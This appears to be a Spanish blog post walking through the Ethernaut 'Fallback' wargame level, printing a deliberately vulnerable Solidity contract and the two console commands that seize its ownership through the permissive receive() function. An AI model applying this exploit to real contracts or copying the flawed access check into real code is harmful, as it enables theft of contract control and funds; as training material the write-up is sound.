
Ethernaut #2: Fallback
¡Bienvenidos a la segunda entrega de nuestra serie sobre Ethernaut! Si te perdiste la primera parte, ¡la puedes encontrar aquí!.
Hoy, realizaremos el segundo desafío: explotar la función receive
para hacerse con el control de un contrato.
¿Qué necesitas saber?
Funciones especiales en Solidity:
receive()
: Se ejecuta cuando el contrato recibe ETH sin datos (ej: una transferencia normal).fallback()
: Actúa como “plan B” para llamadas que no existen en el contrato (repasamos esto en el post anterior).
Anatomía del contrato vulnerable
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 ether;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Puntos débiles identificados
-
La función
receive
es demasiado permisiva:- Solo exige que el remitente haya contribuido antes (
contributions > 0
) y que envíe algún wei. - No hay límite en
msg.value
, a diferencia decontribute()
.
- Solo exige que el remitente haya contribuido antes (
-
Falsa sensación de seguridad del owner inicial:
-
La lógica asume que nadie podrá superar ese valor porque
contribute()
limita las donaciones a< 0.001 ether
.
-
El ataque paso a paso
1. Contribuir con lo mínimo
await contract.contribute({ value: toWei("0.0005") });
- Objetivo: Registrar tu dirección en
contributions
con un valor > 0. - Explicación:
0.0005 ether
es menor al límite de0.001 ether
, así que elrequire
no se queja.
2. Aprovechar la función receive
para robar el ownership
📰
La función sendTransaction
es una funcion de utilidad que han dejado los desarrolladores de Ethernaut. No es parte de la especificación del contrato.
sendTransaction({
from: player,
to: contract.address,
value: toWei('0.0011')
});
- Envías ETH directamente al contrato (sin llamar a
contribute
). - Se activa
receive()
, que comprueba:msg.value > 0
✔️ (0.0011
cumple).contributions[msg.sender] > 0
✔️ (gracias al paso 1).
- ¡BAM!
owner = msg.sender
. Ahora tú controlas el contrato[[1]][[7]].